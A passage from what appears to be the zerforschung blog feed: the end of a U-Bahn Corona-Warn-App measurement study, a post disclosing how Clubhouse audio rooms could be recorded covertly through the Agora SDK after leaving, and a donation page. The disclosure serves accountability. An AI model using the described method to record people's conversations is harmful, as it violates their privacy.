&lt;p&gt;Wer sich von Verkehrsunternehmen dafür interessiert – &lt;a href=&#34;https://zerforschung.org/kontakt/&#34;&gt;wir helfen gerne, solche Systeme aufzubauen&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/cov32-artikel/zerherzen.jpg&#34;
         alt=&#34;BVG, ihr liebt uns doch auch, oder?&#34;/&gt;&lt;figcaption&gt;
            &lt;p&gt;BVG, ihr liebt uns doch auch, oder?&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;datenvoodoo--nicht-immer-exakt-aber-schön-anzusehen&#34;&gt;Datenvoodoo – nicht immer exakt, aber schön anzusehen&lt;/h2&gt;
&lt;p&gt;So fuhren unsere Messgeräte also etwas mehr als einen Monat durch die Tunnel der Hauptstadt und wir freuten uns täglich über die neu eintreffenden Daten.&lt;/p&gt;
&lt;p&gt;Währenddessen glichen wir regelmäßig die Infektionsmeldungen auf dem Server der Corona-Warn-App mit unseren Daten ab und bereiteten die nun folgenden Auswertungen vor.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Im folgenden Bild sieht man, dass Begegnungen mit als infiziert gemeldeten Personen überwiegend unter einer Minute dauern. Das könnten Menschen sein, die sich beim Ein- oder Aussteigen oder auf der Suche nach einem Platz durch den Wagen bewegen. Vereinzelt konnten wir aber auch längere Mitfahrten von bis zu einer halben Stunde nachweisen.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/cov32-artikel/kontaktdauer.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/cov32-artikel/kontaktdauer.jpg&#34;
         alt=&#34;Verteilung der Kontaktdauer infizierter Kontakte&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Verteilung der Kontaktdauer infizierter Kontakte&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Diese Karte zeigt, wie viele Messungen auf dem jeweiligen Streckenabschnitt durchgeführt wurden. Gut zu erkennen ist hier, dass die U8 und die U9 besser mit Messgeräten ausgestattet waren.&lt;/p&gt;
&lt;p&gt;Wie oben bereits erwähnt, haben wir anfangs alle Linien mit Messgeräten gleichmäßig ausgestattet. Die ungleiche Zahl der Geräte ergab sich später, weil die Züge die Linien wechseln.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/cov32-artikel/anzahl-messungen-anzahl-fahrten.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/cov32-artikel/anzahl-messungen-anzahl-fahrten_preview.png&#34;
         alt=&#34;Anzahl der Messungen auf dem jeweiligen Streckenabschnitt&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Anzahl der Messungen auf dem jeweiligen Streckenabschnitt&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Der durch Bauarbeiten eingeschränkte Verkehr zwischen Kottbusser Tor und Warschauer Straße auf den Linien U1 und U3 ist gut sichtbar.&lt;/p&gt;
&lt;p&gt;Ein Artefakt in den Messungen ist das südliche Ende der U9, zwischen Walther-Schreiber-Platz und Rathaus Steglitz. Dort konnten wir keine WLANs zur Positionsbestimmung empfangen und damit die Messungen nicht dem Streckenabschnitt zuordnen.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Im Anschluss rechnen wir mit vielen Zahlen, die auch von offiziellen Stellen nur geschätzt oder angenommen werden können. Auch die Aussagekraft unserer eigenen Zahlen ist nur begrenzt. So sind die Ergebnisse dieser &amp;ldquo;wir haben das mal auf dem Bierdeckel berechnet&amp;rdquo;-Methode mit Vorsicht zu genießen. Trotzdem gehen wir davon aus, dass die Größenordnungen annähernd den realen Zahlen entsprechen.&lt;/p&gt;
&lt;p&gt;Man könnte auch sagen: Nicht alles, was folgt, ist falsch.&lt;/p&gt;
&lt;p&gt;Da unsere Messungen nur in der Berliner U-Bahn erfolgten und wir keine Vergleichsmessungen an anderen Orten vorgenommen haben, können wir genauso wenig wie die Verkehrsunternehmen eine wirklich faktenbasierte Aussage darüber treffen, welche Rolle der ÖPNV in der Coronapandemie spielt.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Auf der folgenden Karte ist der Prozentsatz der Fahrten pro Streckenabschnitt markiert, auf dem wir ein als infiziert gemeldetes Signal empfangen haben.&lt;/p&gt;
&lt;p&gt;Auf einigen Streckenabschnitten sieht es so aus, als gäbe es keine Infektionsgefahr. Dieser Eindruck kommt daher, dass wir insgesamt zu wenige Messungen haben. &lt;strong&gt;Das bedeutet nicht, dass es dort immer sicher ist.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Auch mögen unsere Höchstwerte von 1,6% wenig wirken, allerdings fallen hier noch ein paar weitere Faktoren ins Gewicht. So werden geschätzt nur &lt;a href=&#34;https://micb25.github.io/dka/#Korrelation-mit-RKI-Daten&#34;&gt;10-15% aller positiven Tests auch in der Corona-Warn-App gemeldet&lt;/a&gt; (damit wären wir also bei 10,6% bis 16% Wahrscheinlichkeit).&lt;br&gt;
Hinzu kommt noch die &lt;a href=&#34;https://covid19.dunkelzifferradar.de/&#34;&gt;Dunkelziffer mit geschätztem Faktor von mindestens 3 in Berlin für den entsprechenden Zeitraum&lt;/a&gt;.&lt;br&gt;
Und schon sind wir bei einer theoretischen Wahrscheinlichkeit von über 30% (31,8% bis 48%), dass sich eine mit Corona infizierte Person in der Nähe befindet.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/cov32-artikel/infizierte-pro-fahrt.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/cov32-artikel/infizierte-pro-fahrt_preview.png&#34;
         alt=&#34;Anteil der Fahrten mit Infizierten-Messung pro Streckenabschnitt&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Anteil der Fahrten mit Infizierten-Messung pro Streckenabschnitt&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Insgesamt wurden 0,1% der empfangenen Signale später als infiziert gemeldet. Das bedeutet, das jede tausendste Person ein als (später) infiziert gemeldetes Signal sendete.&lt;/p&gt;
&lt;p&gt;Das hört sich wieder wenig an, in U-Bahnwagen sitzt man allerdings meist nicht allein, sodass sich dieses Risiko mit der Anzahl der Personen multipliziert.&lt;/p&gt;
&lt;p&gt;Wenn man außerdem bedenkt, dass &lt;a href=&#34;https://www.rki.de/DE/Content/InfAZ/N/Neuartiges_Coronavirus/WarnApp/Warn_App.html#doc14201188bodyText5&#34;&gt;nur etwa die Hälfte&lt;/a&gt;&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt; der positiv getesteten Nutzer*innen der Corona-Warn-App ihr Ergebnis über die App teilt und weiter von einer &lt;a href=&#34;https://covid19.dunkelzifferradar.de&#34;&gt;Dunkelziffer vom Faktor 3 ausgeht&lt;/a&gt; erhöht sich die Wahrscheinlichkeit rein rechnerisch auf 0,6% pro Person in der Nähe.&lt;/p&gt;
&lt;p&gt;Wir möchten es nochmal explizit betonen: &lt;strong&gt;Die Zahlen sind mit viel Vorsicht zu genießen, aber die Daumenregel &amp;ldquo;In jeder vollen U-Bahn sitzt statistisch eine infizierte Person&amp;rdquo; bleibt.&lt;/strong&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/cov32-artikel/karte-relative-positiv.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/cov32-artikel/karte-relative-positiv_preview.png&#34;
         alt=&#34;Diese Karte Zeigt die Verteilung der 0,1% Positivsignale über das gesamte U-Bahnnetz&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Diese Karte Zeigt die Verteilung der 0,1% Positivsignale über das gesamte U-Bahnnetz&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Gern hätten wir die zeitliche Verteilung der infizierten Kontakte ausgewertet, im Verhältnis zu allen erfassten Kontakten.&lt;br&gt;
So hätten wir beispielsweise sehen können, ob unter Schul- und Berufspendler*innen die Infiziertenrate höher ist als bei den oft verdächtigten Partygänger*innen am Freitag- oder Samstagabend.
Da wir aber insgesamt nur knapp über 50 Coronafälle gemessen haben, können wir die Daten hier nicht sinnvoll interpretieren.&lt;/p&gt;
&lt;p&gt;Als Beispiel, warum jegliche Interpretation dieser Daten unseriös wäre, zeigen wir hier 2 Grafiken, die jeweils die gleichen Daten auf gerade bzw. ungerade Stunden aggregiert darstellen:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/cov32-artikel/tageszeiten-vergleichsbild.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/cov32-artikel/tageszeiten-vergleichsbild.png&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;wo-sind-die-daten&#34;&gt;Wo sind die Daten?&lt;/h2&gt;
&lt;p&gt;Wir haben die Daten &lt;a href=&#34;https://zerforschung.org/posts/daten-aus-dem-untergrund/&#34;&gt;nun veröffentlicht und dokumentiert&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;wie-funktioniert-die-technik-dahinter&#34;&gt;Wie funktioniert die Technik dahinter?&lt;/h2&gt;
&lt;p&gt;Wir werden demnächst einen Artikel veröffentlichen, in dem wir genauer beschreiben, wie die Messgeräte funktionieren und welche spannenden Herausforderungen wir bei der Entwicklung überwinden mussten. Für alle, die jetzt schon neugierig sind oder das Projekt nachbauen wollen, haben wir &lt;a href=&#34;https://github.com/zerforschung/Covid32Counter&#34;&gt;den Sourcecode für die Messgeräte und die Serverkomponente&lt;/a&gt; veröffentlicht.&lt;/p&gt;
&lt;p&gt;Vor allem wenn ihr ein Verkehrsunternehmen seid, stehen wir gern für einen (Video)call zur Verfügung, um auch technisch sehr genau zu erklären, wie wir vorgegangen sind und wie ihr das genauso und noch besser hinbekommt. &lt;a href=&#34;https://zerforschung.org/kontakt/&#34;&gt;Unsere Kontaktdaten kennt ihr ja&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;schlussgedanken&#34;&gt;Schlussgedanken&lt;/h2&gt;
&lt;p&gt;Die Corona-Warn-App spielt bei der Pandemiebekämpfung eine untergeordnete Rolle. &lt;a href=&#34;https://linus-neumann.de/2020/12/corona-und-datenschutz-julian-nida-rumelin-verdreht-noch-mehr-tatsachen-als-ich-zunachst-dachte/&#34;&gt;Wer jedoch behauptet, das liege am zu hohen Datenschutz, lügt oder hat keine Ahnung, wovon er spricht.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Unsere Analysen zeigen, welche Erkenntnisse auch mit einem datensparsamen, dezentralen Ansatz möglich sind. Die Wirkungslosigkeit liegt an der geringen Nutzung, nicht angeschlossenen Laboren und kaputten Prozessen.&lt;/p&gt;
&lt;p&gt;Menschen, die behaupten, man müsse da jetzt GPS oder sonstige Trackingmethoden einbauen, bewirken auch bloß eine noch größere Skepsis. Genau solche Aussagen führen zu noch geringerer Akzeptanz.&lt;/p&gt;
&lt;p&gt;Für die Zukunft: Eine magische App &lt;em&gt;allein&lt;/em&gt; löst nicht all eure Probleme!&lt;/p&gt;
&lt;p&gt;Und übrigens: Wer im Homeoffice arbeitet oder Distanzunterricht bekommt, muss auch nicht den ÖPNV benutzen. &lt;a href=&#34;https://twitter.com/search?q=%23MachtDieBuerosZu&#34;&gt;#MachtDieBuerosZu&lt;/a&gt; &lt;a href=&#34;https://twitter.com/search?q=%23LasstDieSchulenUndKitasZu&#34;&gt;#LasstDieSchulenUndKitasZu&lt;/a&gt;&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Die komplette Entwicklung haben wir in unserer Freizeit, neben Brötchenjob und allgemeiner Pandemie-Erschöpfung gemacht und die ca. 400€ Material, Werkzeug und Hardware aus unserer eigenen Tasche bezahlt.&lt;br&gt;
Wenn dir gefällt was wir tun und du uns dabei unterstützen willst, damit wir noch mehr solchen oder ganz anderen Quatsch machen können, kannst du dir unsere &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;Unterstützungsseite&lt;/a&gt; ansehen. Es schlummern noch viele weitere Projektideen.
&lt;/div&gt;
&lt;hr&gt;
&lt;p&gt;Wenn wir Fehler gemacht haben, ihr Verbesserungsvorschläge oder Feedback habt oder &amp;ldquo;Geheimwissen&amp;rdquo; anbieten könnt, lasst es uns wissen. &lt;a href=&#34;https://zerforschung.org/kontakt/&#34;&gt;Unsere Kontaktdaten findet ihr auf der entsprechenden Seite&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;update-1-dauer-zwischen-kontakt-und-positivmeldung&#34;&gt;Update 1: Dauer zwischen Kontakt und Positivmeldung&lt;/h2&gt;
&lt;p&gt;Wenn wir betrachten, an welchem Tag die Tageszahlen veröffentlicht wurden und wann wir die Signale empfangen haben, können wir berechnen, wie lange nach dem Kontakt die Positivmeldung erfolgte:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/cov32-artikel/abstand_messung_positiv.svg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/cov32-artikel/abstand_messung_positiv.svg&#34; width=&#34;100%&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Besonders interessant ist hier ein Eintrag mit 0 Tagen. Wir haben um circa 7:30 Uhr einen Kontakt gemessen, am nächsten Morgen wurde der Schlüssel dann als positiv gemeldet. Ob das die Fahrt zum Testzentrum war?&lt;/p&gt;
&lt;h2 id=&#34;update-2&#34;&gt;Update 2&lt;/h2&gt;
&lt;p&gt;Weil es Missverständnisse gab: Wir können natürlich keine Aussage über Ansteckungen oder Ansteckungswahrscheinlichkeiten machen, sondern nur über die Anwesenheit von infizierten Personen.&lt;/p&gt;
&lt;p&gt;Um es noch mal hervorzuheben: Die errechneten Zahlen spiegeln auch in etwa die durchschnittlichen Zahlen des RKIs aus diesem Zeitraum wieder. Es deutet also, wenig überraschend, nichts darauf hin, dass im ÖPNV anteilig mehr oder weniger Menschen infiziert sind. Es sind insgesamt viele Menschen infiziert und im ÖPNV trifft man einfach auf viele Menschen.&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Teilweise mit &lt;a href=&#34;https://www.besserweiter.de/statistiken-belegen-grosse-sicherheit-im-oepnv.html&#34;&gt;sehr fragwürdigen Überschriften&lt;/a&gt;, bei denen von niedrigem Infektionsrisiko gesprochen wird, dann im Artikel aber nur das Unfallrisiko im Vergleich zum Auto besprochen wird&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;leider meldete sich niemand, obwohl wir Hinweise darauf haben, dass mehrere Messgeräte von BVG-Mitarbeitenden gefunden wurden&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;ein Hoch auf die Maskenpflicht! 😷 😃&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
&lt;p&gt;Die 50% beziehen sich auf die positiven Test unter den Menschen, &lt;em&gt;welche die App benutzen&lt;/em&gt;. Da diese Zahl von der Gesamtzahl der App-Installationen abhängt, kann diese Zahl nur geschätzt werden. Wir verwenden hier die Schätzungen des RKI. Die 10%-15% aus der Rechnung darüber beziehen sich auf das Verhältnis zwischen der Gesamtzahl &lt;em&gt;aller&lt;/em&gt; positiven Tests und den in der App gemeldeten.&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Gespräche aus dem brennenden Clubhouse tragen</title>
      <link>https://zerforschung.org/posts/gespraeche-aus-dem-clubhouse/</link>
      <pubDate>Wed, 27 Jan 2021 09:00:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/gespraeche-aus-dem-clubhouse/</guid>
      <description>&lt;p&gt;Heute sind wir ganz am Zeitgeist und schauen uns das Sprachi-Netzwerk Clubhouse an. Es gab bereits einige Kritik am Datenschutz (&lt;a href=&#34;https://www.tagesschau.de/wirtschaft/clubhouse-audio-app-deutschland-datenschutz-social-media-101.html&#34;&gt;https://www.tagesschau.de/wirtschaft/clubhouse-audio-app-deutschland-datenschutz-social-media-101.html&lt;/a&gt;) und Exklusivität.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Der Großteil des Kontakt zum Server wird über eine REST-Api abgewickelt. Hier ist Clubhouse widerspenstiger als viele andere Apps und implementiert Certificate Pinning. Dann holen wir mal das gejailbreakte Telefon heraus.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Sobald man einen Raum startet verbindet sich die Clubhouse-App mit zwei weiteren Diensten: Pubnub und Agora. Pubnub wird für die Echtzeitkommunkation genutzt, Agora für den Audiochat.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/clubhouse/EssoGn4XUAMFjD3.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/clubhouse/EssoGn4XUAMFjD3.jpg&#34;
         alt=&#34;Screenshot eines Mitschnitts des Datenverkehrs von Clubhouse&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Screenshot eines Mitschnitts des Datenverkehrs von Clubhouse&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Agora hat ein öffentliches SDK (leider nicht open source), dann laden wir das doch mal herunter.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/clubhouse/EssoaHMXcAQtZNW.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/clubhouse/EssoaHMXcAQtZNW.jpg&#34;
         alt=&#34;Downloadseite des Agora SDKs&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Downloadseite des Agora SDKs&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Bei Agora gibt es 2 Arten einen Videochatraum zu betreten. Entweder nur mit dem Namen, für &amp;ldquo;low-security&amp;rdquo;-Anwendungen wie Staubsauger (&lt;a href=&#34;https://itcareersholland.nl/call-an-exorcist-my-robots-possessed/&#34;&gt;https://itcareersholland.nl/call-an-exorcist-my-robots-possessed/&lt;/a&gt;), oder für &amp;ldquo;high-security&amp;rdquo;-Anwendungen wie öffentliche Gespräche mit Namen und einem Token.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Clubhouse nutzt Tokens. Dieses Token wird serverseitig generiert, bei Clubhouse bekommen wir dieses wenn wir den &amp;ldquo;join_channel&amp;rdquo;- oder &amp;ldquo;create_channel&amp;rdquo;-Endpoint aufrufen.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/clubhouse/Essp8K1XAAEowE9.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/clubhouse/Essp8K1XAAEowE9.jpg&#34;
         alt=&#34;Antwort eines create_channel-Aufrufs&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Antwort eines create_channel-Aufrufs&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Oh, wenn wir join_channel aufrufen, taucht die*der Nutzer*in bereits im Raum auf und wir als gemutet angezeigt. Dabei haben wir noch garnicht probiert, den Agora-Audio-Kanal zu öffnen. Naja dann probieren wir das doch gleich mal.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Super, 10 Zeilen code und der Ton läuft. Wir können die anderen hören. Mal schauen, was das SDK so für Methoden bietet&amp;hellip;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Wie praktisch, es gibt &amp;ldquo;startAudioRecording&amp;rdquo; um eine Aufnahme zu starten. Wir können uns sogar aussuchen, in welcher Qualität die Aufnahme passieren soll.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/clubhouse/EssqipjXAAMglFS.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/clubhouse/EssqipjXAAMglFS.jpg&#34;
         alt=&#34;SDK-Dokumentation zu startAudioRecording&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;SDK-Dokumentation zu startAudioRecording&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Hinweis: Wir finden es nicht okay, einfach so nicht-öffentliche Gespräche aufzuzeichen. Wenn Politiker*innen aber als Mandatsträger*innen (semi-)öffentlich sprechen, *kann* es für uns ein berechtigtes Interesse geben das nachzuvollziehen.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Okay, dann verlassen wir den Raum mal wieder. Die App ruft dazu &amp;ldquo;leave_channel&amp;rdquo; auf. Wenn wir das tun, verschwinden wir bei den anderen im Raum auch sofort aus der Raumübersicht in der App. Nur ein Problem:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/clubhouse/EssregDXIAQ2COx.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/clubhouse/EssregDXIAQ2COx.jpg&#34;
         alt=&#34;Erfolgreicher Aufruf von leave_channel&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Erfolgreicher Aufruf von leave_channel&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Wir sind in Agora immernoch im Raum und hören die anderen weiterhin. Auch eine neue Aufzeichnung können wir ohne Probleme starten. Alles ohne, dass uns die Anderen sehen.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Wir können uns sogar erneut verbinden. Auf die Schnelle konnten wir in der Dokumentation von Agora keine Möglichkeit finden, ein Raum-Token zu wiederrufen.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Dafür haben wir einen spannende Methoden gefunden: Man kann sich den Ton nach Nutzer*in getrennt geben lassen. So können gezielt einzelne Personen mitgeschnitten werden.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/clubhouse/EsssBbvXAAEl9TE.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/clubhouse/EsssBbvXAAEl9TE.jpg&#34;
         alt=&#34;Dokumentation einer Methode um Audiodaten einzelner Personen zu bekommen&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Dokumentation einer Methode um Audiodaten einzelner Personen zu bekommen&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Praktischerweise werden in Agora die gleichen Nutzer*innen-Ids verwendet wie in Clubhouse, sodass wir das ganze sogar automatisch Nutzer*innen zuordnen können.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Fazit: Wir sehen also, dass es möglich ist fast unerkannt Gespräche auf #Clubhouse aufzuzeichnen.&lt;/p&gt;
&lt;p&gt;Dies zu finden hat nur wenige Stunden gedauert, wer weiß, was da noch im Argen liegt&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Nachtrag: Scheinbar konnte man im November auch mal die Profile aller Nutzer*innen abfragen.&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;I poked around the clubhouse app and found an endpoint that lets you query for all users&lt;br&gt;&lt;br&gt;They currently have 106k registered users, currently adding about 20 every minute. That&amp;#39;s honestly very impressive.&lt;/p&gt;&amp;mdash; rashiq (@rashiq) &lt;a href=&#34;https://twitter.com/rashiq/status/1332477103061786627?ref_src=twsrc%5Etfw&#34;&gt;November 28, 2020&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;</description>
    </item>
    
    <item>
      <title>Unterstützen</title>
      <link>https://zerforschung.org/unterstuetzen/</link>
      <pubDate>Mon, 04 Jan 2021 18:48:57 +0100</pubDate>
      
      <guid>https://zerforschung.org/unterstuetzen/</guid>
      <description>&lt;p&gt;Wenn euch gefällt was wir machen, dürft ihr uns gern unterstützen.&lt;/p&gt;
&lt;p&gt;Ihr könnt uns einerseits finanziell unterstützen, andererseits freuen wir uns auch über Werkzeug oder lustige/interessante Hardware, die wir mal auseinandernehmen sollten.&lt;/p&gt;
&lt;h2 id=&#34;finanzielle-unterstützung&#34;&gt;Finanzielle Unterstützung&lt;/h2&gt;
&lt;p&gt;Wenn ihr uns Geld zukommen lassen möchtet, ist uns eine Überweisung am liebsten:&lt;/p&gt;
&lt;p&gt;IBAN: &lt;code&gt;DE44 1001 8000 0835 1929 25&lt;/code&gt; &lt;span class=&#34;badge-new&#34;&gt;Update 2025: schon wieder eine neue IBAN 🙃&lt;/span&gt;&lt;br&gt;
BIC: &lt;code&gt;FNOMDEB2&lt;/code&gt;&lt;br&gt;
Kontoinhaber*in: &lt;code&gt;radforschung GbR&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Alternativ bieten wir außerdem folgende Möglichkeiten:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/sponsors/zerforschung&#34;&gt;GitHub Sponsors&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.patreon.com/zerforschung&#34;&gt;Patreon&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://steadyhq.com/zerforschung&#34;&gt;Steady&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://paypal.me/radforschung&#34;&gt;PayPal.me&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;unscheinbare Umschläge an die Hardware-Adresse&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Warum bei SEPA und PayPal von radforschung GbR die Rede ist?&lt;/em&gt; Das ist die rechtliche Entität, die wir für das &lt;a href=&#34;https://zerforschung.org/projekte/&#34;&gt;Radforschungs-Projekt&lt;/a&gt; schon fertig da hatten.&lt;/p&gt;
&lt;p&gt;Wir nehmen keine Unterstützung in Form von Krypto-&amp;ldquo;Währungen&amp;rdquo; an und diskutieren auch nicht darüber. Wir mögen diesen Planeten wirklich sehr und würden gern noch eine Weile auf ihm leben können.&lt;/p&gt;
&lt;h3 id=&#34;was-machen-wir-mit-dem-geld&#34;&gt;Was machen wir mit dem Geld?&lt;/h3&gt;
&lt;p&gt;Für viele Projekte und Experimente kaufen wir Hardware, Bauteile und Software. Entweder um sie auseinanderzunehmen oder um sie als Analysewerkzeug zu benutzen.&lt;/p&gt;
&lt;p&gt;Manchmal werden wir vielleicht auch das ein oder andere Essen oder Getränk davon kaufen. Ebenso werden wir das Geld nutzen um Zugtickets zu kaufen, uns als Team physikalisch treffen zu können oder Konferenzen zu besuchen.&lt;/p&gt;
&lt;h2 id=&#34;hardware-und-werkzeug&#34;&gt;Hardware und Werkzeug&lt;/h2&gt;
&lt;p&gt;Wenn ihr uns Hardware und Werkzeug zukommen lassen wollt, schickt sie am besten an:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;xHain hack+makespace gemeinnützige UG (haftungsbeschränkt)&lt;br&gt;
Kennwort: zerforschung&lt;br&gt;
Grünberger Str. 16&lt;br&gt;
10243 Berlin&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Dies ist die Adresse des Hack- und Makespaces, in dem einige von uns regelmäßig unterwegs sind und dessen Ausstattung wir nutzen und auch beisteuern.&lt;/p&gt;
&lt;p&gt;Wenn ihr euch nicht sicher seid, ob wir das Gerät bereits besitzen oder nutzen können, &lt;strong&gt;schreibt uns bitte vorher&lt;/strong&gt;. Auch bei größerer Hardware würden wir euch darum bitten, diese vorher bei &lt;a href=&#34;mailto:hallo@zerforschung.org&#34;&gt;hallo@zerforschung.org&lt;/a&gt; anzukündigen, nicht dass wir plötzlich &lt;a href=&#34;https://www.dbresale.com/sv_dbfzi_dbresale_de/schienenfahrzeuge/&#34;&gt;drei alte S-Bahn-Wagen&lt;/a&gt; vor der Tür stehen haben.&lt;/p&gt;
&lt;h2 id=&#34;wunschlisten&#34;&gt;Wunschlisten&lt;/h2&gt;
&lt;p&gt;Außerdem haben wir für eure Convenience bereits Listen angelegt mit Dingen, die wir an unseren verschiedenen Forschungsstandorten noch gebrauchen könnten:&lt;/p&gt;
